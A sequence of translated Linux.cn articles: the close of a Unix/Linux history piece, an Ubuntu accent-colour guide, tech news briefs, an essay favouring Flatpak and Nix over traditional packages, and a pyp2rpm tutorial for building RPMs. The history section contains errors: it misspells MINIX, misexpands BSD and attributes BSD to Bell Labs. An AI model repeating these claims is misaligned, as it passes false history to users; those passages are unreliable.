![The text book of C which we all read](/data/attachment/album/202209/13/002617rg362gsntylmyg2m.jpg)

### MINIX 和 Linux 的诞生

1987 年，计算机科学教授 <ruby> 安德鲁·斯图尔特·特南鲍姆 <rt>  Andrew S. Tanenbaum </rt></ruby> 开发了一个名为 NINIX 的类 Unix 系统，在其著作《<ruby> 操作系统设计与实现 <rt>  Operating Systems: Design and Implementation </rt></ruby>》中用以解释操作系统的概念，并随该书一起免费分发了这个操作系统（16 位的版本）。那些学习计算机科学专业（包括我）或相关专业的人都知道，这是一本解释操作系统基础知识的“神级”教科书。

1991 年，<ruby> 李纳斯·托沃兹 <rt>  Linus Torvalds </rt></ruby> 在赫尔辛基大学学习期间开始了一项 [爱好项目](https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ)。他的项目是基于 MINIX 和 GNU C 编译器的。他启动这个项目是为了能够在他的配有新款 80386 处理器的新 PC 上运行程序。他编写的整个操作系统包含了 MINIX 所缺乏的特性，最终成为了 Linux 内核。

![Famous operating systems book by Tanenbaum](/data/attachment/album/202209/13/002618mcicj2wswjrwdc26.jpg)

### BSD 和 macOS

上世纪 80 年代，当 Unix 初具规模时，贝尔实验室基于 Unix 的最初源代码（在 PDP-7 和 PDP-11 上运行的版本）开发了 BSD（<ruby> 伯克利标准发行版 <rt>  Berkeley Standard Distribution </rt></ruby>）。BSD 是由加州大学伯克利分校的 <ruby> 计算机系统研究小组 <rt>  Computer Systems Research Group </rt></ruby>（CSRG）分发的。在其形成之后，BSD 被许多工作站供应商（传统桌面系统），如 <ruby> 昇阳微系统 <rt>  Sun Microsystems </rt></ruby> ，改编为专有的 Unix 变体。

该版本最终分叉创建了一些开源的变体，例如 OpenBSD、FreeBSD 等。这些自由版本为 <ruby> 史蒂夫·乔布斯 <rt>  Steve Jobs </rt></ruby> 创立的 NeXT 创建 NeXTSTEP 开辟了道路。而 NeXTSTEP 最终成为苹果公司 macOS 的基础。

### 总结

Unix 是少数具有独到思想并致力于解决问题的人取得的非凡成就。如果考虑到在创建操作系统当时可用的计算能力和内存量，这个操作系统简直就是一件艺术品。

几十年来，所有这些一步步的进步，最终使我们走到了今天。无论有多少内核、操作系统和以编程语言形式出现的抽象概念，就其本质而言，它们都始于一个单一的来源。

我一直认为程序或代码是人类的思想，是你的逻辑、想法，只是写在 “IF-ELSE” 语句中，以实现一些现实世界的结果。

参考资料：

* <https://www.bell-labs.com/usr/dmr/www/picture.html>1
* <https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ>
* <https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum>
* <https://en.wikipedia.org/wiki/History_of_Linux>
* <https://en.wikipedia.org/wiki/History_of_Unix>
* <https://computerhistory.org/blog/the-earliest-unix-code-an-anniversary-source-code-release/>

>
> “所有的革命，在它们发生之前，都是历史的必然。” —— 大卫·米切尔 《云图》
>
>
>

---

via: <https://www.debugpoint.com/unix-history/>

作者：[Arindam](https://www.debugpoint.com/author/admin1/) 选题：[lkxed](https://github.com/lkxed) 译者：[Donkey-Hao](https://github.com/Donkey-Hao) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


如何在 Ubuntu 桌面中应用强调色

Summary: 得益于开发者们最近的贡献，在 Ubuntu 中使用自己的强调色是很简单的。

得益于开发者们最近的贡献，在 Ubuntu 中使用自己的强调色是很简单的。

![](/data/attachment/album/202209/13/075753yoi4j2ozozkkxmmk.jpg)

>
> 得益于开发者们最近的贡献，在 Ubuntu 中使用自己的强调色是很简单的。
>
>
>

每个 Linux 发行版都有它们默认的主题，具有各自的主色调。强调色用于在各个设置中突出主色调。通常，主色调和强调色应该形成对比和补充。

在最近的 GNOME 桌面的更新之后，Ubuntu 桌面在 22.04 LTS 版本中引入了强调色。

尽管如何应用它们是显而易见的，但是为了 Linux 的新手，我将解释如何在 Ubuntu 桌面中使用强调色。

### 在 Ubuntu 桌面中应用强调色

1. 从应用菜单中打开 <ruby> 系统设置 <rt>  System Settings </rt></ruby>
2. 进入 <ruby> 外观 <rt>  Appearance </rt></ruby> 菜单
3. 在 <ruby> 风格 <rt>  Style </rt></ruby> 菜单下，你应该见到一套预设的颜色。
4. 选择其中的一个来改变强调色。

一旦更改，强调色将被应用到 GTK 应用程序中的选区和 GTK 控件中，如切换按钮和文件夹的默认外观。

默认的强调色是橙色，有十种颜色可供选择，具体如下：

* 橙色
* 树皮色
* 鼠尾草色
* 橄榄绿
* 铬绿
* 普鲁士绿
* 蓝色
* 紫色
* 品红色
* 红色

![Accent Colour in Ubuntu](/data/attachment/album/202209/13/075755lkdfojgc8jo8nhoq.jpg)

（LCTT 译注：树皮色是一种棕色，鼠尾草色是一种灰绿色。）

你应该记住一点，深色和浅色的主题的强调色组合可能改变你的桌面的整体外观。

以上的特性只是只适用于目前使用 GNOME 桌面的 Ubuntu，而不适用于其它提供原生 GNOME 的发行版，例如 Fedora Workstation。因为有一些内容是由 Ubuntu 团队开发的，并且并没有合并到 GNOME 上游。

### Kubuntu 中的强调色

使用带有 KDE Plasma 桌面的 Kubuntu，你可以简单地使用强调色。KDE Plasma 提供了预设的颜色，也有自定义的颜色选择器选项。另外，自 KDE Plasma 5.25 起，强调色可以根据壁纸来改变。

为了在 Kubuntu 中改变它，跟着下面的步骤走：

* 在应用菜单中打开 <ruby> 系统设置 <rt>  System Settings </rt></ruby>
* 进入 <ruby> 外观 <rt>  Appearance </rt></ruby> > <ruby> 全局主题 <rt>  Global Theme </rt></ruby> > <ruby> 颜色 <rt>  Colours </rt></ruby> 标签
* 选择你的强调色

![KDE Plasma 5.25 - Accent Colour Change Based on wallpaper](/data/attachment/album/202209/13/075756h8ehqz9eofvet98r.jpg)

我知道 Lubuntu 与 Xubuntu 并没有这个特性。而且它不太可能很快到来。

使用愉快。

---

via: <https://www.debugpoint.com/ubuntu-accent-colour/>

作者：[Arindam](https://www.debugpoint.com/author/admin1/) 选题：[lkxed](https://github.com/lkxed) 译者：[yjacks](https://github.com/yjacks) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #758 Rust Linux 驱动程序实现与 C 代码相当的性能

Summary: • Rust Linux 驱动程序实现与 C 代码相当的性能 • PyTorch 成为 Linux 基金会的顶级项目 • 思科承认“阎罗王”勒索团伙泄露了其数据，但表示没有问题

![](/data/attachment/album/202209/13/163016zj080cghjvcu1j55.jpg)

![](/data/attachment/album/202209/13/163018avyn8cv87v2cvvcv.jpg)

### Rust Linux 驱动程序实现与 C 代码相当的性能

在都柏林举行的 2022 年 Linux Plumbers 大会（LPC）的 Rust 小型会议上，介绍了 Rust for Linux 工作的最新状况。Linux 内核已经有了很好的 C 语言编写的 NVMe 驱动，西部数据的测试显示，虽然其开发的 Rust NVMe 驱动仍处于早期阶段，但其驱动性能与 C 编写的驱动一样好。会议上介绍了最新的补丁系列是如何被精简以减轻上游工作的，以及过去一年的各种进展，但是关于 Rust 何时并入主线，会议上并没有披露具体的时间表和进展。

>
> **[消息来源：Phoronix](https://www.phoronix.com/news/LPC-2022-Rust-Linux)**
>
>
>

>
> 老王点评：非常好的信号，但是大家都更关心什么时候能进入主线。
>
>
>

![](/data/attachment/album/202209/13/163030j4ewp5n5p8bhb8um.jpg)

### PyTorch 成为 Linux 基金会的顶级项目

开源 Python 机器学习库 PyTorch 成为 Linux 基金会托管的顶级项目，成立 PyTorch 基金会，其理事会的核心成员包括 AMD、AWS、谷歌云、Meta、Azure 和英伟达。PyTorch 最早由 Facebook 创建，自 2017 年以来，已经有超过 2400 名开发者在 PyTorch 基础上创建了 54000 个项目，PyTorch 成为了 AI 研究的主要平台之一。

>
> **[消息来源：PyTorch](https://pytorch.org/blog/PyTorchfoundation/)**
>
>
>

>
> 老王点评：PyTorch 是一个不错的项目，在 LF 的支持下，应该会有更好的发展。
>
>
>

![](/data/attachment/album/202209/13/163045vkkngntdz0fztkwn.jpg)

### 思科承认“阎罗王”勒索团伙泄露了其数据，但表示没有问题

5 月份对思科进行了攻击的“阎罗王（Yanluowang）”勒索团伙周末在暗网上公开泄露了盗取的文件。显然，思科选择不支付勒索团伙要求的勒索，这导致被盗数据被公布。思科的威胁情报部门证实了所泄露文件的真实性，并重申其业务没有受到不利影响。然而，“阎罗王”勒索组织说，其窃取了多达 55GB 的数据，其中包括源代码和机密材料等敏感信息。

>
> **[消息来源：The Register](https://www.theregister.com/2022/09/13/cisco_ransomware_data_leaked/)**
>
>
>

>
> 老王点评：这组织的名字真是别致，但是到底对思科有没有影响，只有思科自己知道。
>
>
>


传统的 Linux 软件包格式不适合现代应用

用 nix 装系统，用 flatpak 装应用，用 appimage 预览应用，除了学习成本高，占用空间多，效率较低等问题，好像也不错。

依赖版本不匹配的问题确实非常头痛。

传统的软件包管理的作用不只是让用户安装一个软件，还附带了发行版发布和签名软件包的功能，这意味着通过传统包管理系统发布的包是发行版官方支持，维护者自己构建，并通过签名担保的，如果出了问题可以找到负责的打包人员。

Android的应用市场F-Droid有类似的性质：由F-Droid的服务器构建并签名，为保证信任问题，还提供了可重现构建的方法。和传统包管理不同的是，Android的应用打好包之后应用市场基本上不管理依赖，依赖的问题在打包的时候解决，所以应用市场不是传统的包管理。

传统包管理的一个优点是一个应用的所有依赖都可以通过包

另外容器并不意味着安全，例如 flatkill.org 提到的很多flatpak应用并没隔离主目录。Android除了搞容器化和应用权限之外，还配套了很多安全设施，这个不一定适用于大多数GNU/Linux发行版。

>
> 开源贡献者 Hari Rana 表达了他对传统 Linux 软件包格式不再适合现代应用的看法。
>
>
>

![传统的 Linux 软件包格式不适合现代应用](/data/attachment/album/202209/14/110931xvslvqkk84ofjzjf.jpg)

*图片来源：来自 [Unsplash](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) 的 [Kelli McClintock](https://unsplash.com/es/@kelli_mcclintock?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)*

我多次遇到用户抱怨 LTS 和稳定版的应用软件包有问题，但又声称开发版从来没有发生过这种事情。然而，以我在软件包技术方面的经验和知识，我不能不强调，这是不对的。

发行模式不是问题的根源所在，根本的问题是传统的软件包格式不适合现代的图形应用，不管是什么发行版。那么像 Nix 和 Flatpak 这样的格式是如何解决这些基本问题的？有趣的是，大多数服务器确实利用了容器化（即 Docker），因为它提高了可重复性并增强了可维护性。我们可以从中得到启发，采用一个适用于 Linux 桌面的类似标准。

### 免责声明

1. “传统软件包”是指使用包管理器发布的图形应用程序，而不使用容器，如 `apt`、`dnf`、`pacman` 等。
2. “发行模式”是指发行过程，如长期支持版（LTS）、稳定版和开发版等。
3. “类似的应用程序”是指两个在技术上真正相似的应用程序，如 [Visual Studio Code](https://code.visualstudio.com/) 和 [Code - OSS](https://github.com/microsoft/vscode)。
4. 在这些例子中，我将使用 Arch Linux 作为参考。然而，这些行为与那些大量采用传统软件包格式的发行版是一致的。
5. Nix 不使用容器，它也不是一种容器格式。但为了简单起见，我暂时把它称为一种容器格式。

### 根本问题

![](/data/attachment/album/202209/14/111133mcb707rud0ddyjyy.jpg)

*图片来源：来自 [Unsplash](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) 的 [Jackson Simmer](https://unsplash.com/@simmerdownjpg?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)*

大多数（或许不是全部）大量采用传统软件包格式的发行版都有这个共同的问题：它们都没有利用容器或其他方便的方法来分离依赖关系。用通俗的话说，容器是一个盒子，我们可以把东西放在里面，在不影响主系统（主机）的情况下单独使用它们。

容器通常不会影响“盒子”外的任何东西。并且它们是可移植的，因为它们可以安装在其他发行版上，同时提供一致的体验。利用容器的包管理器会将每个软件包安装在不同的容器中，这提供了一个额外的安全层。这给了开发者更多的控制权和灵活性，他们可以决定在软件包内捆绑什么。

传统的软件包格式产生了一些问题，比如依赖性和包的冲突，这些问题通常需要解决，而不同的发行版有不同的解决办法。

#### 依赖性和软件包的冲突

如果我们试图安装 [Visual Studio Code](https://code.visualstudio.com/)（[visual-studio-code-bin](https://aur.archlinux.org/packages/visual-studio-code-bin)），而 [Code - OSS](https://github.com/microsoft/vscode)（[code](https://archlinux.org/packages/community/x86_64/code/)） 已经安装在 Arch Linux 上，我们会遇到这个问题：

```
$ paru -S visual-studio-code-bin
[...]
:: Conflicts found:
    visual-studio-code-bin: code
:: Conflicting packages will have to be confirmed manually
Aur (1)                     Old Version  New Version  Make Only
aur/visual-studio-code-bin               1.70.1-1     No

```

这就是所谓的软件包冲突，即两个或多个软件包不能共存。在这种情况下，我们不能同时安装 Visual Studio Code 和 Code - OSS。

当两个应用程序或软件包提供相同的文件，具有相同的名称，并被放置在同一目录下，那么它们实际上是不能共存的，因为这些文件会发生冲突。在这个例子中，Visual Studio Code 和 Code - OSS 都提供了一个名为 `code` 的文件，它们都被放在 `/usr/bin` 中。Visual Studio Code 提供的 `code` 文件用于启动 Visual Studio Code，而 Code - OSS 的 `code` 文件则用于启动 Code - OSS。 虽然这个例子只展示了 Visual Studio Code 和 Code - OSS，但这种情况经常发生在不同的应用程序、库和其他软件中。

#### 无法选择依赖项

![](/data/attachment/album/202209/14/111145oewxmez44jzoo18m.jpg)

*图片来源：来自 [Unsplash](https://unsplash.com/@priscilladupreez?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) 的 [Priscilla Du Preez](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)*

传统软件包格式的最大问题之一是，打包者不能选择依赖项。

例如，如果一个应用程序最近更新，需要依赖版本 1 的程序 A，但发行版只提供了版本 0.9 的程序 A，那么对于升级该应用程序来说就不太理想，因为发行版无法满足要求。这意味着打包者将不得不暂缓打包，直到该发行版发布新的依赖项，或者采用变通的方法。

同样，如果一个应用程序需要依赖 0.8.1 版本的程序 A，但发行版却只提供了 0.9 版本的程序 A，那么这个应用程序就会表现失常，甚至完全不能运行。

##### 带补丁的库和编译配置

为了扩展，一些应用程序需要带补丁的库或额外的编译配置才能正常运行。例如，OBS Studio 需要一个 [打了补丁的 FFmpeg](https://github.com/obsproject/obs-studio/blob/fe889ec28ebd2f323b5933b7b11c5a9207539c59/CI/flatpak/com.obsproject.Studio.json#L259-L261) 来与 OBS Studio 更好地整合。

在传统的软件包格式下，一次只能安装一个依赖项的变体。如果发行版提供的是未打过补丁的 FFmpeg，那么就没有办法安装打过补丁的 FFmpeg，除非打包者能解决这个问题。如果安装了打过补丁的 FFmpeg，但另一个程序高度依赖未打过补丁的 FFmpeg、打过其他补丁的 FFmpeg、内置或删除了其他功能的 FFmpeg，那么其他程序就会出现 bug。

现代应用程序本质上是脆弱的。依赖关系树中的一个小错误或不一致，就会导致应用程序的 bug，使用户体验恶化，甚至会让人觉得是应用程序的问题，而不是软件包本身的问题，这就会妨碍应用程序的声誉。

#### 变通方法

让我们看看目前开发者用来打包应用程序的变通方法：

1. 第一种解决方法是在不同的目录中安装依赖库。例如，Electron 是一个巨大的框架，开发者用它来构建应用程序，然后将它们捆绑起来。然而，基于 Electron 的应用程序是不同的，因为它们是建立在不同版本的 Electron 之上的。Discord 捆绑了 Electron 13，而 Element 捆绑了 Electron 19。对于 Arch Linux 上的 Electron 打包，某些目录需要安装在 `/opt/APPLICATION_NAME` 中，所以这些 Electron 版本 [不会相互冲突](https://wiki.archlinux.org/index.php?title=Electron_package_guidelines&oldid=661963#Directory_structure)。
2. 第二种解决方法是篡改应用程序。例如，给应用程序打上补丁，使其在没有某些依赖库或功能的情况下编译，这可以使应用程序成功编译，但不能保证该应用程序能够启动或按预期工作。
3. 第三种解决方法是在编译应用程序时禁用许多编译选项，这也可能禁用一些功能。例如，在 Arch Linux 上，OBS Studio 在编译时禁用了许多基本功能，这 [导致了不合格的体验](https://www.youtube.com/watch?v=FPjEdrik-eQ)。

这些解决方法因人而异，有些会限制应用程序的功能，有些会引入稳定性问题等等。

#### 不一致的体验

![西班牙兰萨罗特岛（加那利群岛）的蒂曼法亚火山国家公园的火山口景观](/data/attachment/album/202209/14/111156d2f6nminj3ob1tit.jpg)

*图片来源：来自 [Unsplash](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) 的 [alevision.co](https://unsplash.com/@alevisionco?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)*

虽然这些技术限制在整个传统软件包格式中是一致的，但用户体验往往不是这样。由于软件包的发布方式，发行模式与传统软件包格式相结合会影响用户体验。

一些发行版，如 Arch Linux，接近于开发版，因此有最新版本的软件包。然而 Debian 和 Ubuntu LTS 是 LTS 长期支持版，所以它们的很多软件包都落后几个版本。同时，Fedora Linux 和 Ubuntu 稳定版处于 Debian / Ubuntu LTS 和 Arch Linux 之间。

一些软件包格式喜欢尽可能少地给软件包打补丁，以保持它们最接近原版；而另一些格式打补丁是为了增加更多的功能，使用旧库或进行其他类型的更改，以改善用户体验。一些格式喜欢使软件更加轻量化；而另一些格式更喜欢尽可能地添加更多内置功能。软件包有各种各样的习惯和偏好。

正如我们所看到的，一个应用程序在不同的发行版中的构建方式非常不同。此外，不同的发行版的依赖关系也是不同的。传统软件包格式的许多技术限制需要根据发行模式和打包策略采取不同的解决方法。这些微小的变化往往给用户带来不完整的、不合格的体验和错误的印象。一些应用程序可能在某些发行版上运行得更好，但在其他发行版上运行得很差，而其他一些应用程序则运行得更好。即使一个应用程序在每个发行版上的构建方式不同，但其名称和品牌却保持原样，给用户留下错误的印象。

### 解决方案

![](/data/attachment/album/202209/14/111204j4n6g64jk9041144.jpg)

*图片来源：来自 [Unsplash](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) 的 [Riccardo Annandale](https://unsplash.com/@pavement_special?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)*

如上所述，解决这些问题的方法是使用容器。

容器被设计用来分离系统的几个方面。通过使用容器，打包者可以挑选依赖项而不受主机上的库限制。因此，打包者可以发布最新的、功能完整的软件包，同时保持发行的稳定性。

这一点非常重要，因为这些容器格式可以将应用程序和发行版发挥出最大的作用，而不会对系统造成破坏性的影响。

#### Nix 和 Flatpak

[Nix](https://github.com/NixOS/Nix) 是一个跨平台的包管理器，可以在类 Unix 操作系统中运行，如 Linux 发行版、BSD 和 macOS。Nix 有几个 [通道](https://nixos.wiki/wiki/Nix_channels)（分支）供用户使用。

另一方面，[Flatpak](https://flatpak.org/) 是一个用于 Linux 桌面的通用软件包格式，它也利用容器，但另外还有沙盒来隔离它们。它旨在以后可以供普通人使用，并被设计为与软件商店（如 GNOME “<ruby> 软件 <rt>  Software </rt></ruby>” 和 KDE “<ruby> 发现 <rt>  Discover </rt></ruby>）集成。换句话说，Flatpak 更像是发行版的一个扩展，而不是一个软件包格式的替代品，因为它的设计初衷不是为了取代系统包管理器。

如果使用 NixOS 等发行版，Nix 也可以作为一种扩展或单独使用。

#### 类似的应用

Nix 和 Flatpak 解决了传统软件包格式的许多基本问题。由于应用程序的分离，这些格式可以安装类似的应用程序，如 Visual Studio Code 和 Code - OSS，而不会冲突。

#### 多个版本

Nix 和 Flatpak 可以安装同一个应用程序的多个版本。使用 Nix，我可以从 `nixpkgs-stable`（LTS）安装应用程序，同时也可以从 `nixpkgs-unstable`（开发版）安装同一个应用程序。

同样地，使用 Flatpak，我可以同时从 `stable` 和 `beta` 分支安装应用程序。我可以从更多的途径和分支继续安装同一个应用程序，而不会遇到冲突。

#### 挑剔的依赖项

![采摘樱桃](/data/attachment/album/202209/14/111214eavl7v417vmsyj7m.jpg)

*图片来源：来自 [Unsplash](https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit) 的 [Ish de loyola](https://unsplash.com/@ishphotos_?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit)*

此外，打包者可以将应用程序与不同变体的库捆绑在一起，从而有机会启用更多的构建选项，并使用打过补丁或特定版本的库，从而为用户提供完整的体验。

这意味着打包者可以将打了补丁的 FFmpeg 与 OBS Studio 捆绑在一起，只为了用在 OBS Studio 中。如果我在主机上安装了普通的 FFmpeg，那么 OBS Studio 的补丁 FFmpeg 就不会与主机的 FFmpeg 发生干扰或冲突。

#### 各个发行版的环境都是一致的

如上所述，各发行版使用不同的补丁、构建选项和环境构建应用程序。这导致了应用程序的碎片化，每个应用程序的构建方式和工作方式往往不尽相同。由于 Nix 和 Flatpak 是为跨发行版运行而设计的，它们在每个发行版中为应用程序提供一致的环境，前提是发行版提供了 Nix 或 Flatpak 的支持版本。

#### 缺点

就像所有事物一样，Nix 和 Flatpak 不是完美的。由于最近在 Linux 桌面上容器技术得到了推崇，它们可能为许多应用程序提供了不寻常的环境。

Flatpak 不仅包含了应用程序，还对它们进行沙盒处理。Flatpak 的开发者已经实施了一个短期的变通方案，“在沙盒上打洞”，即所谓的静态权限。他们正在开发适当的长期解决方案，称为 [XDG 门户](https://github.com/flatpak/xdg-desktop-portal)，以解决有关沙盒的许多问题，并使其像 Android 的安全模型一样。

唯一的短期问题是，工具包、框架和应用程序必须采用这些标准。GTK 和 Qt 这样的工具包集成了其中一些<ruby> 门户 <rt>  portal </rt></ruby>，但它们也需要时间来集成其他的门户。同时，许多其他的工具箱还没有真正集成任何门户。

工具包、框架和应用程序采用这些新标准是一个时间问题，因为在 XDG 门户之前没有任何适当的标准。应用程序可以直接访问文件系统和 API，所以静态权限保持这种 “标准”。

### 结论

传统软件包格式的根本问题是它没有利用容器。许多图形化的应用程序本质上是复杂的，需要非常具体的依赖关系才能按预期运行。许多发行版通过使用变通的方法在不同的环境中构建同一个应用程序，例如给应用程序打补丁或禁用某些构建选项。这导致了一个应用程序的不同变体、不一致的行为和不合格的用户体验。

当然，发行版的维护者不可能在几天内现实地重写他们的包管理器并使用容器。这些重写会破坏许多脚本、功能等，而且还需要很长时间才能投入生产环境。

我个人的建议是使用和推广 Flatpak，因为它只是为了扩展现有的发行版，而不是取代它。打包者不必担心打包应用程序，以及诉诸变通的问题，因为 Flatpak 已经在处理这些问题了。

作者 Hari Rana [最初发表于此博客](https://theevilskeleton.gitlab.io/2022/08/29/traditional-packaging-is-not-suitable-for-modern-applications.html)。

Hari 是 Fedora 杂志的 Fedora 编辑委员会的成员。他也是 Fedoea 质量保证（QA）的一员。Hari 希望通过推广各种技术和帮助需要帮助的人，为 Linux 桌面的采用作出贡献。

**本文所表达的观点和意见是作者本人的，并不代表我们的观点。**

---

via: <https://news.itsfoss.com/traditional-packaging-modern-applications/>

作者：[Community](https://news.itsfoss.com/author/team/) 选题：[lkxed](https://github.com/lkxed) 译者：[gpchn](https://github.com/gpchn) 校对：[校对者ID](https://github.com/%E6%A0%A1%E5%AF%B9%E8%80%85ID)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


4 步打包一个新的 Python 模块

Summary: pyp2rpm 使得创建 RPM 包的过程更加自动化。

pyp2rpm 使得创建 RPM 包的过程更加自动化。

![](/data/attachment/album/202209/14/155051kzjuzhzvmllmv2b5.jpg)

>
> pyp2rpm 使得创建 RPM 包的过程更加自动化。
>
>
>

当你安装一个应用程序时，你通常是在安装一个软件包，其中包含应用程序的可执行代码和重要文件，如文档、图标等。在 Linux上，软件一般被打包成 RPM 或 DEB 等格式，用户只要通过 `dnf` 或者 `apt` 等命令就可以进行安装了，这取决于你使用的 Linux 发行版。然而几乎每天都有新的 Python 模块发布，因此你很容易遇到一个尚未打包的 Python 模块。这就是 `pyp2rpm` 存在的意义了。

最近我在尝试安装一个叫 `python-concentration` 的模块，但是进展并不太顺利：

```
$ sudo dnf install python-concentration
Updating Subscription Management repositories.
Last metadata expiration check: 1:23:32 ago on Sat 11 Jun 2022 06:37:25.
No match for argument: python-concentration
Error: Unable to find a match: python-concentration

```

虽然这是一个发布在 PyPi 的包，但它仍不能被打包成 RPM 包。好消息是你可以使用 `pyp2rpm` 以一个相对简单的过程将它打包成 RPM 包。

首先你需要设置两个目录：

```
$ mkdir rpmbuild
$ cd rpmbuild && mkdir SPECS

```

像这样去安装 `pyp2rpm`：

```
$ sudo dnf install pyp2rpm

```

### 1、生成 spec 文件

RPM 包的基础是一种 spec 文件，这个文件包含你创建这个包的所有信息，如所需的依赖关系、应用的版本号、安装的文件等信息。当指向某个 Python 模块时，`pyp2rpm` 会为它构建一个 spec 文件，你可以用它来创建 RPM 包。

下面以 `python-concentration` 为例演示如何构建一个 spec 文件：

```
$ pyp2rpm concentration > ~/rpmbuild/SPECS/concentration.spec

```

下面是它生成的文件：

```
# Created by pyp2rpm-3.3.8
%global pypi_name concentration
%global pypi_version 1.1.5

Name:           python-%{pypi_name}
Version:        %{pypi_version}
Release:        1%{?dist}
Summary:        Get work done when you need to, goof off when you don't

License:        None
URL:            None
Source0:        %{pypi_source}
BuildArch:      noarch

BuildRequires:  python3-devel
BuildRequires:  python3dist(setuptools)

%description
Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov](

%package -n     python3-%{pypi_name}
Summary:        %{summary}
%{?python_provide:%python_provide python3-%{pypi_name}}

Requires:       (python3dist(hug) >= 2.6.1 with python3dist(hug) < 3~~)
Requires:       python3dist(setuptools)
%description -n python3-%{pypi_name}
Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov](

%prep
%autosetup -n %{pypi_name}-%{pypi_version}

%build
%py3_build

%install
%py3_install

%files -n python3-%{pypi_name}
%license LICENSE
%doc README.md
%{_bindir}/concentration
%{python3_sitelib}/%{pypi_name}
%{python3_sitelib}/%{pypi_name}-%{pypi_version}-py%{python3_version}.egg-info

%changelog
*  - 1.1.5-1
- Initial package.

```

### 2、运行 rpmlint

为了确保 spec 文件符合标准，你需要对文件使用 `rpmlint` 命令：

```
$ rpmlint ~/rpmbuild/SPEC/concentration.spec
error: bad date in %changelog: - 1.1.5-1
0 packages and 1 specfiles checked; 0 errors, 0 warnings.

```

看起来更新日志（`%changelog`）需要记录日期。

```
%changelog
* Sat Jun 11 2022 Tux <tux@example.com> - 1.1.5-1

```

再次运行 `rpmint`：

```
$ rpmlint ~/rpmbuild/SPEC/concentration.spec
0 packages and 1 specfiles checked; 0 errors, 0 warnings.

```

成功！

### 3、下载源码

你需要下载好打包的代码才能进一步构建 RPM 包。一种简单的方式是解析你的 spec 文件以获取源码的网址。

首先，通过 `dnf` 安装 `spectool`：

```
$ sudo dnf install spectool

```

然后通过 `spectool` 来下载源码：

```
$ cd ~/rpmbuild
$ spectool -g -R SPEC/concentration.spec
Downloading: https://files.pythonhosted.org/...concentration-1.1.5.tar.gz
   6.0 KiB / 6.0 KiB    [=====================================]
Downloaded: concentration-1.1.5.tar.gz

```

这样就创建了一个 `SOURCES` 目录并将源码放入其中。

### 4、构建源软件包

现在你已经验证过 spec 文件了，接下来就可以通过 `rpmbuild` 构建源软件包了。如果你还没有安装 `rpmbuild`，你也可以通过 `dnf` 安装 `rpm-build` 包（或者在使用 `rpmbuild` 命令时根据终端的的提示进行安装）。

参数 `-bs` 表示构建源软件包。添加这个参数会产生一个 src.rpm 文件，这是一个用于为特定架构重新构建的通用包：

```
$ rpmbuild -bs SPECS/concentration.spec
Wrote: ~/rpmbuild/SRPMS/python-concentration-1.1.5-1.el9.src.rpm

```

为你的系统构建一个可安装的 RPM 文件：

```
$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm
error: Failed build dependencies:
        python3-devel is needed by python-concentration-1.1.5-1.el9.noarch

```

看起来这个包需要安装 Python 的开发库才能继续构建。安装它们以继续构建。这一次，构建成功了，并且渲染了更多的输出（为了清楚起见，我在这里简略了输出）：

```
$ sudo dnf install python3-devel -y
$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm
[...]
Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.TYA7l2
+ umask 022
+ cd /home/bogus/rpmbuild/BUILD
+ rm -rf concentration-1.1.5
+ RPM_EC=0
++ jobs -p
+ exit 0

```

你的 RPM 包现在已经构建在 `RPMS` 子目录下，像平常一样使用 `dnf` 安装它。

```
$ sudo dnf install RPMS/noarch/python3-concentration*rpm

```

### 为什么不使用 PyPi？

通常情况下我们并不需要将 Python 模块打包成 RPM 包。通过 PyPi 来安装模块也是可以接受的，但是 PyPi 会安装额外的包管理器对你的模块进行检查和更新。当你使用 `dnf` 来安装 RPM 包时，你在安装完成时就能够获取到完整的安装列表。有了 `pyp2rpm` 之后，这个过程就变得快速、简单且自动化了。

---

via: <https://opensource.com/article/22/6/package-python-module-rpm>

作者：[Sumantro Mukherjee](https://opensource.com/users/sumantro) 选题：[lkxed](https://github.com/lkxed) 译者：[Return7g](https://github.com/Return7g) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #759 MGLRU 页面回收算法有望并入 Linux 6.1 内核

Summary: • MGLRU 页面回收算法有望并入 Linux 6.1 内核 • 到 2030 年，软件将占拖拉机公司约翰迪尔收入的 10% • 谷歌在欧洲面临 250 亿欧元的反垄断罚款

google还是一如既往的对自由开源贡献。。。

![](/data/attachment/album/202209/14/174516mw5qzvx22zhhnoqr.jpg)

![](/data/attachment/album/202209/14/174526xc8un8qb8u4zfz2y.jpg)

### MGLRU 页面回收算法有望并入 Linux 6.1 内核

